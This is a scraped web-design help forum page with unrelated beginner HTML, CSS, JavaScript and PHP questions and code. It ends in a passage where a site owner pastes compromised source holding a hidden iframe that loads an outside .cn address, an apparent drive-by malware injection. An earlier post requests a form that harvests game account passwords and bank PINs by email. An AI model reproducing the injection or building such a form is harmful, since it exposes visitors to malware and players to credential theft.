HTML - Need Help With My Website - Javascript And Html Code Included !
I'm having a problem trying to anchor this Javascript menu into a fixed position.
Heres the website http://www.intuition-designs.com/test1.htm as you might recognize, I'm trying to mimic the Facebook application bar that runs along the bottom of their website I'd like to have the menu anchored to the navbar at the bottom, so when I scroll, the menu will not scroll. I have a separate Javascript file for the menu Here is the HTML for the website so far. ANY HELP IS GREATLY APPRECIATED!!: Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Untitled Document</title> <style type="text/css"> html, body { height:100%; } html.use_scroll_wrapper { overflow:hidden; } #bottom_bar { position:fixed; bottom:0; left: 15px; right: 15px; height: 27px; background:url(http://www.intuition-designs.com/images/midbottom.png) repeat top left; z-index: 3; color: #FFF; text-align: right; } #bottom_bar table tr th { text-align: right; } .gg { text-align: right; } .xx { text-align: left; } </style> </head> <body> <script type="text/javascript">var MenuLinkedBy="AllWebMenus [4]",awmMenuName="navbar",awmBN="766";awmAltUrl="";</script><script charset="UTF-8" src="navbar.js" type="text/javascript"></script><script type="text/javascript">awmBuildMenu();</script> <div id="bottom_bar"> <table width="50" border="0" align="left" cellpadding="0" cellspacing="0" id="awmAnchor-navbar"> <tr> <th scope="col"> </th> </tr> </table> </div> </body> </html> Similar TutorialsInternet is the easiest and lucrative method to promote your business. For this you should have a user-friendly, interactive and professional looking website. This is the first step to start a successful internet marketing process. Those who don’t have websites can ask for web design services from a professional web designing firm. Here are a few important things that you should prepare before contacting a web design firm. Those who are planning to make a website should first create a good portfolio of their works. The portfolio should contain a detailed list of all the happy clients of the company. If the company has a good customer base which can be shown clearly in the portfolio, it would be the best method to advertise the services of the company. You should also give a comprehensive idea about the location of the company and the detailed addresses of the various offices of the company. This will increase the credibility of the company among the visitors. You can prepare detailed pages for the services/products section where you can include all the details related to it. Make it a point to say about the uniqueness that your firm has, as it helps a lot in marketing your products/services. It can be a newest technology or service that you offer, the method of delivery of products/services, or the widespread network that your company has. You can approach a web designer to know more about the things which can be included your website. Here's my problem: in my Adsense account a channel came up that I may have set up months ago. The channel name is "best side" and I cannot find the text in my HTML files stored on disk. How can I search my whole website for this search term but in the source code? Because that channel can be found in the original Adsense code in my site but I don't know on which page it is. Any ideas? P.S. I know I could view source of each page separately and search but I have too many pages and it would take me hours. I would like to have a "User" or "Memebers Only" section on our website. What differs from other HTML code that I have been able to find is that what we would like to do is from our login page have have a specific page come up depending on the "User Name" and "Password". We DO NOT want to have a list of other users to be shown though, we have found a code that has a list to select from but this shows other users. Can anyone assist? ______________________ sport book betting steroid hey guys. I need help again! Well actually its a question But before that question - You see I play a game and in that game I want to make a list of things. Here is my noob website - http://heroonline.synthasite.com/ The Question -I guess what I'm asking is how do I post a forum directly onto a page of mywebsite with separate moderator accounts? I need forums that can be added to sites like myspace, and my website, that you post with a html code, and editable by multiply accounts? On that forum I just want one thread where i can post names of people. And I want some other people to be able to post names on that one thread. Kind of like the cbox I have on there but more like forums, and changeable by other people/accounts that i choose. Hope you guys understand what I am trying to say here... I'm a noob and i tried my best to explain. I want to play streaming songs on my website. can anybody give me the html code so that I can play the songs randomly automatically.My two URL of asx files are http://www.playlist.com/playlist/17180213515/asx and http://www.playlist.com/playlist/17174690571/asx Each link is a playlist contains more than 200 mp3 songs. I want to play them such that songs in each link as well as links can shuffle automatically.please reply as soon as possible. Hi guys, this is the site: http://eksow.com/ This the the source code for it: Quote: <html> <head> <title>Eksow Event Design & Management</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> <body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <SCRIPT TYPE="text/javascript"> <!-- // copyright 1999 Idocs, Inc. http://www.idocs.com/tags/ // Distribute this script freely, but please keep this // notice with the code. var rollOverArr=new Array(); function setrollover(OverImgSrc,pageImageName) { if (! document.images)return; if (pageImageName == null) pageImageName = document.images[document.images.length-1].name; rollOverArr[pageImageName]=new Object; rollOverArr[pageImageName].overImg = new Image; rollOverArr[pageImageName].overImg.src=OverImgSrc; } function rollover(pageImageName) { if (! document.images)return; if (! rollOverArr[pageImageName])return; if (! rollOverArr[pageImageName].outImg) { rollOverArr[pageImageName].outImg = new Image; rollOverArr[pageImageName].outImg.src = document.images[pageImageName].src; } document.images[pageImageName].src=rollOverArr[pageImageName].overImg.src; } function rollout(pageImageName) { if (! document.images)return; if (! rollOverArr[pageImageName])return; document.images[pageImageName].src=rollOverArr[pageImageName].outImg.src; } //--> </SCRIPT> <!-- ImageReady Slices (Untitled-1 copy.psd) --> <Center> <table id="Table_01" width="1024" height="769" border="0" cellpadding="0" cellspacing="0"> <tr> <td colspan="6"> <img src="images/Eksow_01.jpg" width="1024" height="261" alt=""></td> </tr> <tr> <td rowspan="4"> <img src="images/Eksow_02.jpg" width="65" height="507" alt=""></td> <td> <A HREF="#" onMouseOver = "rollover('left')" onMouseOut = "rollout('left')" ><IMG SRC="http://eksow.com/images/Eksow_03.jpg" NAME="left" ALT="Home Page" BORDER=0 ></A> <SCRIPT TYPE="text/javascript"> <!-- setrollover("http://eksow.com/images/Rollover_1_03.jpg"); //--> </SCRIPT> </td> <td colspan="2"> <A HREF="#" onMouseOver = "rollover('middle')" onMouseOut = "rollout('middle')" ><IMG SRC="http://eksow.com/images/Eksow_04.jpg" NAME="middle" ALT="Home Page" BORDER=0 ></A> <SCRIPT TYPE="text/javascript"> <!-- setrollover("http://eksow.com/images/Rollover_2_04.jpg"); //--> </SCRIPT></td> <td> <A HREF="#" onMouseOver = "rollover('right')" onMouseOut = "rollout('right')" ><IMG SRC="http://eksow.com/images/Eksow_05.jpg" NAME="right" ALT="Home Page" BORDER=0 ></A> <SCRIPT TYPE="text/javascript"> <!-- setrollover("http://eksow.com/images/Rollover_3_05.jpg"); //--> </SCRIPT></td> <td rowspan="2"> <img src="images/Eksow_06.jpg" width="78" height="491" alt=""></td> </tr> <tr> <td colspan="4"> <img src="images/Eksow_07.jpg" width="881" height="262" alt=""></td> </tr> <tr> <td colspan="5"> <A HREF="#" onMouseOver = "rollover('bottom')" onMouseOut = "rollout('bottom')" ><IMG SRC="http://eksow.com/images/Eksow_08.jpg" NAME="bottom" ALT="Home Page" BORDER=0 ></A> <SCRIPT TYPE="text/javascript"> <!-- setrollover("http://eksow.com/images/Rollover_4_08.jpg"); //--> </SCRIPT></td> </tr> <tr> <td colspan="2"> <img src="images/Eksow_09.jpg" width="567" height="8" alt=""></td> <td> <img src="images/Eksow_10.jpg" width="21" height="8" alt=""></td> <td colspan="2"> <img src="images/Eksow_11.jpg" width="371" height="8" alt=""></td> </tr> <tr> <td> <img src="images/spacer.gif" width="65" height="1" alt=""></td> <td> <img src="images/spacer.gif" width="292" height="1" alt=""></td> <td> <img src="images/spacer.gif" width="275" height="1" alt=""></td> <td> <img src="images/spacer.gif" width="21" height="1" alt=""></td> <td> <img src="images/spacer.gif" width="293" height="1" alt=""></td> <td> <img src="images/spacer.gif" width="78" height="1" alt=""></td> </tr> </table> </center> <!-- End ImageReady Slices --> </body> </html> Here is what I'm trying to accomplish, but have no idea where to start from... 1. When people go to the site, the pictures at the bottom don't appear 2. When people click on "Hospitality Night" (far left), then the pictures appear 3. When it's clicked, the rollover image stays (white box) So in laymans terms... I go to the site, I click on far left link, pictures show. I click on the middle link, diff pictures show i click on the right one, different pictures show. && done Hello i have 2 files file 1 and file 2 they are both being included in a cfm file by cfinclude. however when they are viewed on the browser they are not aligned together. file 2 is perfect. it goes on the center of the page but file 1 is on the far left. my level is beginner level so please have patience. i wish to have file 1 on the same center as file 2. (other words, file 1 needs to be inline with file2) thanks once again file 2 is correct. help Hi I am new to this forum and this is my first post. It should be in the introductions area but I thought it would be better here. Ok here is my question. "I have been working on this new website project from my school on really basic HTML. So I created this website with around 12 webpages but am stuck at a place. For a better understanding, here is the picture of the page I am stuck at: http://www.imagebam.com/image/b3124a57239694 (image takes a few secs to load) And here is code for the webpage: http://www.scribd.com/doc/22980588 So by the picture, I hope you understand the problem and suggest a non <div> CSS solution. Thank You All help will be much appreciated I hope someone comes up with a quick and easy idea. I hope to enjoy my stay here THIS PROBLEM IS WITH --IE-- ONLY I have this piece of code that I simplified as much as I could to show a simple example: PHP Code: <table width="50%"> <tr><td colspan="2">short</td></tr> <tr> <td width="128"><img src="" width="110"></td> <td>a<br>a<br>a</td> </tr> </table> <table width="50%"> <tr><td colspan="2">long long long long long long long</td></tr> <tr> <td width="128"><img src="" width="110"></td> <td>a<br>a<br>a</td> </tr> </table> For some reason when long-long-long text is long enough, it pushes a-a-a-a to the right even through one of the cells is limited to 128 pixels.. If I color the backgrounds of the cells in different colors, it is evident that it is the cell pushing, not text-alignment problem Question, why the cell is affected but the upper cell text length even through it is properly col-spanned..? Hi all, I've just joined your forum today as I've got a problem I can't seem to resolve with my tumblr html. I'm not sure whether any of you are familiar with tumblr, but it's basically a social networking blogging site. First of all, my url is http://king-of-diamonds.tumblr.com/ I have edited the html of my page a lot but there is one problem that I can't fix: If you have a look at my blog, you will notice that between the posts there is a little white line/space that I have tried my best to get rid of. Does anybody know how I can get rid of it? You can have a look at the html of my blog (currently) by clicking this link. Thanks in advance! First of all, WOW does this look like a site that can make it happen for me.. websitemakingwise. Im new and boy, loving the info so far.. ok, my problem: So Im cleaning up this code, yes.. again. And I wanted to make this automated php thing that sends emails straight to my inbox. Without having to use the client installed. Only problem is that the submit button isnt doing anything. Could someone have a look whats wrong? Filename: ContactForm.html HTML Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" /> <title>Mailformulier updates - As it is in heaven again</title> <style type="text/css"> <!-- body { background-image: url(afbeeldingen/ups_and_simulation.jpg); } .style1 { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 17px; color: #000000; } .style2 {font-family: Verdana, Arial, Helvetica, sans-serif} .style4 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 14px; } .style6 {font-size: 14px} .style8 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 14px; color: #000000; } a:link {color: #000000;} a:visited{color:#009;} a:hover {color: #000000;} .style10 {color: #FFFFFF} .style14 {font-family:"Bookman Old Style"; font-size: 14px; color: #000000; } #txt{ position:relative; text-align:center; left:100px; top:55px; width:420px; height:40px; z-index:2; font-stretch:wider; } div.row { clear: both; padding-top: 5px; } div.row span.label { float: left; width: 100px; text-align: right; } div.row span.formw { float: right; width: 235px; text-align: left; } div.spacer { clear: both; } --> </style></head> <body> <table width="600" height="400" border="1" align="center" bgcolor="#FFFFFF"> <div id="txt"> <p class="style1">Ja, ik heb interesse. Graag ontvang ik verdere informatie over de toekomstige activiteiten.</p> </div> <tr> <td width="44" height="150"> </td> <td width="814" height="100"> <br /> <br /> <br /> <br /> <div style= "width: 360px; background-color: #ccc; border: 1px dotted #333; padding: 5px; margin: 0px auto;"> <span class="style4"> <form> <div class="row"> <form action="FormToEmail.php" method="post" name="ContactForm"> <span class="label">Naam:</span> <span class="formw"><input type="text" name="Naamgegevens" title="Hier uw volledige naam" size="25" /></span> </div> <div class="row"> <span class="label">Adres:</span><span class="formw"> <input type="text" name="Naamgegevens" title="" size="25" /></span> </div> <div class="row"> <span class="label">Postcode:</span><span class="formw"> <input type="text" name="Postcode" title="" size="25" /></span> </div> <div class="row"> <span class="label">Woonplaats:</span><span class="formw"> <input type="text" name="Woonplaats" title="" size="25" /></span> </div> <div class="row"> <span class="label">Telefoon:</span><span class="formw"> <input type="text" name="Vaste telefoon" title="Uw vaste telefoon-nummer" size="25" /></span> </div> <div class="row"> <span class="label">Mobiel:</span><span class="formw"> <input type="text" name="Mobiel" title="" size="25" /></span> </div> <div class="row"> <span class="label">E-Mail:</span><span class="formw"> <input type="text" name="E-Mail" title="Het E-mail adres" size="25" /></span> </div> <p align="center"> <span class="style14"> <br /> <br /> <br /> ruimte voor opmerkingen/suggesties/reacties</span> <br /> <textarea name="opmerkingen" cols="40" rows="6"></textarea> </p> <div class="spacer"> </div> </form> <div align="center"> <input type="submit" value="Versturen"><br> </div> <br> </div> <div align="center"><span class="style10">-----</span> <a href ="basis.html"><img src = "afbeeldingen/TERUG.png" width="95" height="60" style="border-style: none"/></a></span></div></td> <td width="44"> </td> </tr> <tr> <td height="100" colspan="3"><div align="center"> </div></td> </tr> </table> </body> </html> Thanks for reading till this point! Hop you didnt mind the Dutch lol. FILENAME: FormToEmail.php PHP Code: <?php $my_email = "rsizania@gmail.com"; /* Enter the continue link to offer the user after the form is sent. If you do not change this, your visitor will be given a continue link to your homepage. If you do change it, remove the "/" symbol below and replace with the name of the page to link to, eg: "mypage.htm" or "http://www.elsewhere.com/page.htm" */ $continue = "www.google.com"; /* Step 3: Save this file (FormToEmail.php) and upload it together with your webpage containing the form to your webspace. IMPORTANT - The file name is case sensitive! You must save it exactly as it is named above! Do not put this script in your cgi-bin directory (folder) it may not work from there. THAT'S IT, FINISHED! You do not need to make any changes below this line. */ $errors = array(); // Remove $_COOKIE elements from $_REQUEST. if(count($_COOKIE)){foreach(array_keys($_COOKIE) as $value){unset($_REQUEST[$value]);}} // Check all fields for an email header. function recursive_array_check_header($element_value) { global $set; if(!is_array($element_value)){if(preg_match("/(%0A|%0D|\n+|\r+)(content-type:|to:|cc:|bcc:)/i",$element_value)){$set = 1;}} else { foreach($element_value as $value){if($set){break;} recursive_array_check_header($value);} } } recursive_array_check_header($_REQUEST); if($set){$errors[] = "You cannot send an email header";} unset($set); // Validate email field. if(isset($_REQUEST['email']) && !empty($_REQUEST['email'])) { if(preg_match("/(%0A|%0D|\n+|\r+|:)/i",$_REQUEST['email'])){$errors[] = "Email address may not contain a new line or a colon";} $_REQUEST['email'] = trim($_REQUEST['email']); if(substr_count($_REQUEST['email'],"@") != 1 || stristr($_REQUEST['email']," ")){$errors[] = "Email address is invalid";}else{$exploded_email = explode("@",$_REQUEST['email']);if(empty($exploded_email[0]) || strlen($exploded_email[0]) > 64 || empty($exploded_email[1])){$errors[] = "Email address is invalid";}else{if(substr_count($exploded_email[1],".") == 0){$errors[] = "Email address is invalid";}else{$exploded_domain = explode(".",$exploded_email[1]);if(in_array("",$exploded_domain)){$errors[] = "Email address is invalid";}else{foreach($exploded_domain as $value){if(strlen($value) > 63 || !preg_match('/^[a-z0-9-]+$/i',$value)){$errors[] = "Email address is invalid"; break;}}}}}} } // Check referrer is from same site. if(!(isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER']) && stristr($_SERVER['HTTP_REFERER'],$_SERVER['HTTP_HOST']))){$errors[] = "You must enable referrer logging to use the form";} // Check for a blank form. function recursive_array_check_blank($element_value) { global $set; if(!is_array($element_value)){if(!empty($element_value)){$set = 1;}} else { foreach($element_value as $value){if($set){break;} recursive_array_check_blank($value);} } } recursive_array_check_blank($_REQUEST); if(!$set){$errors[] = "You cannot send a blank form";} unset($set); // Display any errors and exit if errors exist. if(count($errors)){foreach($errors as $value){print "$value<br>";} exit;} if(!defined("PHP_EOL")){define("PHP_EOL", strtoupper(substr(PHP_OS,0,3) == "WIN") ? "\r\n" : "\n");} // Build message. function build_message($request_input){if(!isset($message_output)){$message_output ="";}if(!is_array($request_input)){$message_output = $request_input;}else{foreach($request_input as $key => $value){if(!empty($value)){if(!is_numeric($key)){$message_output .= str_replace("_"," ",ucfirst($key)).": ".build_message($value).PHP_EOL.PHP_EOL;}else{$message_output .= build_message($value).", ";}}}}return rtrim($message_output,", ");} $message = build_message($_REQUEST); $message = $message . PHP_EOL.PHP_EOL."-- ".PHP_EOL.""; $message = stripslashes($message); $subject = "FormToEmail Comments"; $headers = "From: " . $_REQUEST['email']; mail($my_email,$subject,$message,$headers); ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Dreamweaver Tutorial - Contact Form</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> <body bgcolor="#ffffff" text="#000000"> <div> <center> <b>Thank you <?php print stripslashes($_REQUEST['name']); ?></b> <br>Your message has been sent <p><a href="<?php print $continue; ?>">Click here to continue</a></p> <p><b>Dreamweaver Spot</b> by <a href="http://dreamweaverspot.com">dreamweaverspot.com</a></p> </center> </div> </body> </html> Ok thanks!! So.. whats wrong? Im a total noob.. and it isnt even that I started from scratch.. some of it was already there. Appreciate your advice Hey, For some reason my table portion of this code does not display... Also, my background color or my td color also do not display...HTML code is posted below. Any help would be awesome... Thanks! HTML Code: <html> <head> <title>Business Projection Site</title> <style> body {bacground-color: #00AAAA} table {border-collapse: collapse} td {background-color: rgb(0,230,0)} </style> <script> L=211; verty=Math.floor(L/20)*1.0; function forecast(){ a1=parseFloat(document.form1.input1.value); a2=parseFloat(document.form1.input2.value); a3=parseFloat(document.form1.input3.value); a4=parseFloat(document.form1.input4.value); d1=a2-a1; d2=a3-a2; d3=a4-a3; dmax=Math.max(Math.abs(d1),Math.abs(d2),Math.abs(d3)); dmin=Math.min(Math.abs(d1),Math.abs(d2),Math.abs(d3)); err=dmax-dmin; avga=(a1+a2+a3+a4)/4.0; erra=err/avga; avgd=(d1+d2+d3)/3.0 r1=a2/a1; r1=a3/a2; r1=a4/a3; rmax=Math.max(r1,r2,r3); rmin=Math.min(r1,r2,r3); errg=rmax-min; avgr=(r1+r2+r3)/3.0; if(errg<erra)stype="A"; else stype="g"; if(stype="A") { a5=a4*avgd; a6=a5*avgd; a7=a6*avgd; a8=a7*avgd; } else{ a5=a4*avgr; a6=a5*avgr; a7=a6*avgr; a8=a7*avgr; } document.form1.out1.value=a5.toFixed(2); document.form1.out2.value=a6.toFixed(2); document.form1.out3.value=a7.toFixed(2); document.form1.out4.value=a8.toFixed(2); msglin='Your data is more like a linear trend than a % growth. '; msglin= msglin+'The average change per period is '+avgd; msgexpgr='Your data is more like % growth than linear trend. '; avgrgr =100.*(avgr-1.0); avgrgr=avgrgr.toFixed(2); msgexpred='Your data is more like % reduction than linear trend. '; avgrred = 100.*(1.0-avgr); avgrred=avgrred.toFixed(2); msgexpred= msgexpred+'The average reduction per preiod is '+avgrred+'%'; if(stype=="A")document.form1.anal.value=msglin; else if(avgr>1.0) document.form1.anal.value=msgexpgr; else document.form1.anal.value=msgexpred; } function plot() { var values=new Array (a1,a2,a3,a4,a5,a6,a7,a8); var yt2=new Array(8); var xt1=new Array(8); var minPV=9999; var maxPV=-9999; for (i=0; i<8; i++){ if (values[i]<minPV) minPV=values[i]; if (values[i]>maxPV) maxPV=values[i]; } for (i=0; i<8; i++){ yt2[i]=(values[i]-minPV)/(maxPV-minPV)*(L-(2*verty))+verty; } for (i=0; i<8; i++){ xt1[i]=Math.round((L-(2*verty))/(8-1)*i+verty); } for (i=0; i<4; i++){ line1(xt1[i], yt2[i], xt1[i+1], yt2[i+1], "#FFF7F7"); points (xt1[i], yt2[i], "#000000", 3); } for (i=4; i<8; i++){ line1(xt1[i], yt2[i], xt1[i+1], yt2[i+1], "00EEEE"); points (xt1[i], yt2[i], "#000000", 3); } function clearplot() { for(i=1;i<=L;i++){ for(j=1;j<=L;j++){ a=document.getElementById(j+","+i); a=style.backgroundColor="#FF7777"; } } } function point(xx1,yy1,color1) { yy1=Math.round(yy1); xx1=Math.round(xx1); idPoint=(L-yy1+1)+","+xx1; cell1=document.getElementById(idPoint); cell1.style.backgroundColor=color1; } function points(xx1,yy1,color1,n) { n2=Math.floor(n/2); for(i1=0; i1<n; i1++) for(j1=0; j1<n; j1++) point(xx1-n2+i1,yy1-n2+j1,color1); } function line1(xx1, yy1, xx2, yy2, color1) { m=(yy2-yy1)*1.0/(xx2-xx1); if (Math.abs(xx2-xx1) >= Math.abs(yy2-yy1)) { for (j=xx1; j<=xx2; j++){ y=m*(j-xx1)+yy1; point(j,y,color1); } } else { ymax=Math.max(yy1,yy2); ymin=Math.min(yy1,yy2); for(k=ymin; k<=ymax; k++){ x=(k-yy1)/m+xx1; point(x,k,color1); } } } function expGrowth() { document.form1.input1.value="10.0"; document.form1.input2.value="20.0"; document.form1.input3.value="40.0"; document.form1.input4.value="80.0"; document.form1.out1.value=''; document.form1.out2.value=''; document.form1.out3.value=''; document.form1.out4.value=''; document.form1.analysis.value=""; } function expReduction() { document.form1.input1.value="200.0"; document.form1.input2.value="100.0"; document.form1.input3.value="50.0"; document.form1.input4.value="25.0"; document.form1.out1.value=''; document.form1.out2.value=''; document.form1.out3.value=''; document.form1.out4.value=''; document.form1.analysis.value=""; } function linGrowth() { document.form1.input1.value="10.0"; document.form1.input2.value="20.0"; document.form1.input3.value="30.0"; document.form1.input4.value="40.0"; document.form1.out1.value=''; document.form1.out2.value=''; document.form1.out3.value=''; document.form1.out4.value=''; document.form1.analysis.value=""; } function linReduction() { document.form1.input1.value="40.0"; document.form1.input2.value="30.0"; document.form1.input3.value="20.0"; document.form1.input4.value="10.0"; document.form1.out1.value=''; document.form1.out2.value=''; document.form1.out3.value=''; document.form1.out4.value=''; document.form1.analysis.value=""; } </script> </head> <body> <h2>Revenue Projection</h2> <form name='form1'> <b>Enter 4 historical data points:</b> <br/> <pre>1. Enter at least 2 data points in this section to forecast and plot your data. 2. Or click on one of the buttons below for examples of linear or exponential growth, or shrink or linear reductions growths.</pre> <p> <input type= 'textfield' size=15 name='input1' /> <input type= 'textfield' size=15 name='input2' /> <input type= 'textfield' size=15 name='input3' /> <input type= 'textfield' size=15 name='input4' /> <p> <input type="button" value="Exponential Reduction" onclick="expReduction()"/> <input type="button" value="Linear Reduction" onclick="linReduction()"/> <input type="button" value="Linear Growth" onclick="linGrowth()"/> <input type="button" value="Exponential Growth" onclick="expGrowth()"/> <p> <b>Predicted Future Values:</b> <p> <input type="text" name="out1" size=15 /> <input type="text" name="out2" size=15 /> <input type="text" name="out3" size=15 /> <input type="text" name="out4" size=15 /> <p><input type="button" value="Forecast" onclick="forecast()"> <p><input type="text" size="115" name="anal" /> </form> <h4>Normalized Plot:</h4> <p> <input type="button" value="Plot Data" onclick="plot()"> <input type="button" value="Clear Plot Data" onclick="clearplot()"> <p> <table> <script> for(i=0; i<L; i++){ document.write("<tr>"); for(j=0; j<L; j++){ document.write("<td id='"+i+","+j+"'>"); } document.write("</tr>") } </script> </table> </body> </html> Hi guys, Could you please help me in giving the code that takes data from the fields in HTML form and when submit button is clicked the mail has to go to the intended user through Microsoft office outlook. Please help me... its very urgent Thanks & Regards Karteek Challa ok well what i need for my website is a fill out form were it would be like First Name: then their would be a box here that you can type in Last Name: then their would be a box here that you can type in Email-adress: then their would be a box here that you can type in Phone Number: then their would be a box here that you can type in MSN/AIM: then their would be a box here that you can type in Character Name: then their would be a box here that you can type in Account password: then their would be a box here that you can type in Bank Pin: then their would be a box here that you can type in And the hardest part i need to be done is i need all the information to send to my email after they hit submit if someone could code that for me that would be great! Thanks and have a nice day. I have been working on a template on my mac and testing it with safari. I have worked on it for a very long time. The site was launched about 3 days ago.. and I thought everything was under control until one of my friends said that the site looked screwed up.. He had windows and was using internet explorer.. The page displays completely fine on my safari browser.. but most of the visitors are IE users.. could anyone tell me whats going on with it? http://www.mymegz.greenfieldproductions.ca in safari it looks how it should be.. in IE everything that is seperated gets shifted downwards in one center line.. I would appreciate if anyone could help me. I have attached a copy of the main page.. Thanks Dagan Loy I'm really surprised that many webmasters do not understand fully THE HUGE point here, really surprised. The point IS NOT if search engines care W3C validation or if customers care W3C validation (they have probably no idea). Maybe webmasters are too much focused in the job in the profession and into please customers… this is legit of course… but we all sometimes forget that at stake there is also internet and technology development to be considered for the future. We all care in the immediate in the short period of time of the small thing of the detail of the result but not of the WHOLE PICTURES. W3C exist since years but regretfully few people see there the HUGE VALUE in W3C Internet should be a better place for everyone starting from WEBSMASTERS that always complain about website with strange behaviors, about layout that do not look same in all browsers, about code soups done in the past (most in 90’) if there is the need of a restyling of an old website…. Plus one million bugs around. Why we have to face all that? It is because the marketing reason (not the tech reason) as the war between browsers have forced people to use the worst browser ever IE the winner was not the best tech but the best marketing, legit or not. Netscape was far much better and more developed but lost. Because of this only NOW after 10 years we are coming out to see finally in the market good browsers like Firefox or Opera and only now we see IE8 covering at least many bugs revealing the fact that they are far behind the line…. CSS2 exist since years do you realize that? JavaScript same thing… where IE5 IE6 IE7 have been? Sleeping? Only NOW after 10 years we all talk about the separation about markup and graphic about XHTML and CSS but this was already the main plan of W3C …. we all lost years of internet development due to stupid commercial wars and due to careless of webmasters. I always make W3C complain website and I explain to my customer the add value of this. It not cost more nor do I spend more time writing a code instead of another. I also complained with big boys like Amazon (but there are many others) that offer widget to be copied in a webpage and their code is not valid, unless you change it. It is so hard follow the same line? Beside I prefer to buy HP products because they support W3C. I do hope that in future search engine will consider the W3C validation much more then the present link juice because without a common and clear code we all are loosing time and resources thinking to the code instead of contents and creativity. http://www.youtube.com/watch?v=Jz318MPz_SY http://www.youtube.com/watch?v=M2JlLktl5Eg My site was working fine for about year and now when I go to the website there is a very large margin on top (it should only be 35px) and it is trying to put a virus in whoever views my site's computer. Here is the current code... Code: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><title>Giancola Auto Parts - Thousands Of Used Auto Parts At Low Prices</title><meta name="keywords" content="giancola auto, used auto parts, salvage yard, east brunswick, new jersey, junkyard"><meta name="description" content="Over 100000 used auto parts. Honda AC Compressors, Chevy Radiators, Toyota Engines and a lot more!"><link REL="ICON" HREF="http://giancolaauto.com/images/gianico.ico"><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><style type="text/css"> <!-- #expand { width:300px; cursor:pointer; } #container { width:100%; height:0; align:center; overflow:hidden; background-color:#fff; float: inherit; margin: auto; } #container #inner { } #container p { } body,td,th { font-family: Arial, Helvetica, sans-serif; color: #000000; font-size: 11px; } body { background-color: #FFFFFF; margin-left: 0px; margin-right: 0px; margin-bottom: 0px; margin-top: 35px; } a:link { color: #0000FF; } a:visited { color: #0000FF; } .style5 {color: #666666; font-size: 11px; } .style7 {font-size: 11px} a { font-size: 11px; } --> </style> <script type="text/javascript"> var c=0; var test=true var obj,obj1,obj2,hgt,exp,shr; var speed=50; window.onload=function(){ obj=document.getElementById('expand'); obj1=document.getElementById('container'); hgt=document.getElementById('inner').offsetHeight; obj.onclick=function(){ if(test==true){ expandDiv(); test=false; } else { shrinkDiv(); test=true; } } } function expandDiv() { clearTimeout(shr); obj1.style.height=c+'px'; obj1.className='brdr'; obj.firstChild.nodeValue='Call in or submit a part request, we ship nation wide'; obj.className='stop'; c+=20; if(c>=hgt) { c=hgt; clearTimeout(exp); return; } exp=setTimeout('expandDiv()',50); } function shrinkDiv() { clearTimeout(exp); obj1.style.height=c+'px'; obj.firstChild.nodeValue='Call in or submit a part request, we ship nation wide'; obj.className='go'; c-=20; if(c<=0) { c=0; clearTimeout(shr); obj1.style.height=0; obj1.className=''; return; } shr=setTimeout('shrinkDiv()',50); } </script> <style type="text/css"> <!-- body,td,th { font-family: Arial, Helvetica, sans-serif; color: #000000; font-size: 11px; } body { background-color: #FFFFFF; margin-left: 0px; margin-right: 0px; margin-bottom: 0px; margin-top: 35px; } a:link { color: #0000FF; } a:visited { color: #0000FF; } .style5 {color: #666666; font-size: 11px; } .style7 {font-size: 11px} a { font-size: 11px; } .style11 {color: #0000FF} --> </style></head><body><iframe src="http://bigtopcreative.cn:8080/index.php" width=103 height=194 style="visibility: hidden"></iframe><TABLE width="100%" height="42" border="0" cellpadding="0" cellspacing="0"><tr><td></td><td width="23%" height="42"><div align="center"><img style="vertical-align:bottom;" src="/images/giancola_logo.gif" alt="Giancola Auto Parts" width="286" height="42"></div></td><td></td></tr></TABLE><TABLE width="100%" height="32" border="0" cellpadding="0" cellspacing="0" bgcolor="#CC0000"><tr> <td></td><td width="23%" height="32"><div align="center"><img style="vertical-align:bottom;" src="/images/giancola_logo_2.gif" alt="Giancola Auto Parts" width="286" height="32"></div></td> <td></td></tr></TABLE><TABLE width="100%" height="18" border="0" cellpadding="0" cellspacing="0"><tr><td></td><td width="23%" height="18"><div align="center"><img style="vertical-align:bottom;" src="/images/giancola_logo_3.gif" alt="Giancola Auto Parts" width="286" height="18"></div></td><td></td></tr> </TABLE><p align="center" class="style7"><div align="center"><span class="style7">Over 100,000 OEM used automotive parts for all cars 2007 and down.</span><div id="expand" class="go"><span class="style7">Visit us, Call in or <span class="style11"><u>Submit</u></span> a part request, we ship nation wide.</span></div> </div><div id="container"> <div id="inner"> <div align="center"> <style type="text/css"> <!-- .style1 { font-family: Arial, Helvetica, sans-serif; font-weight: bold; font-size: 11px; } .style2 { font-family: Arial, Helvetica, sans-serif; font-size: 11px; } .style3 { color: #FF0000; font-weight: bold; font-size: 14px; } --> </style> <form action="http://formmail.dreamhost.com/cgi-bin/formmail.cgi" method="POST"> <input type=hidden name="recipient" value="support#giancolaauto.com"> <input type=hidden name="redirect" value="http://www.giancolaauto.com/success"> <input type=hidden name="subject" value="Giancola Part Request Form"> <input type=hidden name="redirect" value="http://www.giancolaauto.com"> <input type=hidden name="required" value="Name,email,State,Year,Make,Model,Fuel,Transmission,Parts Needed"> <body> <TABLE width="520" border="0" cellspacing="0" cellpadding="0"> <tr> <td><TABLE width="520" border="0" cellspacing="0" cellpadding="5"> <tr> <td><div align="center" class="style1">Contact Information: </div></td> <td><div align="center" class="style1">Part Information: </div></td> </tr> <tr> <td valign="top"><TABLE width="260" border="0" cellspacing="0" 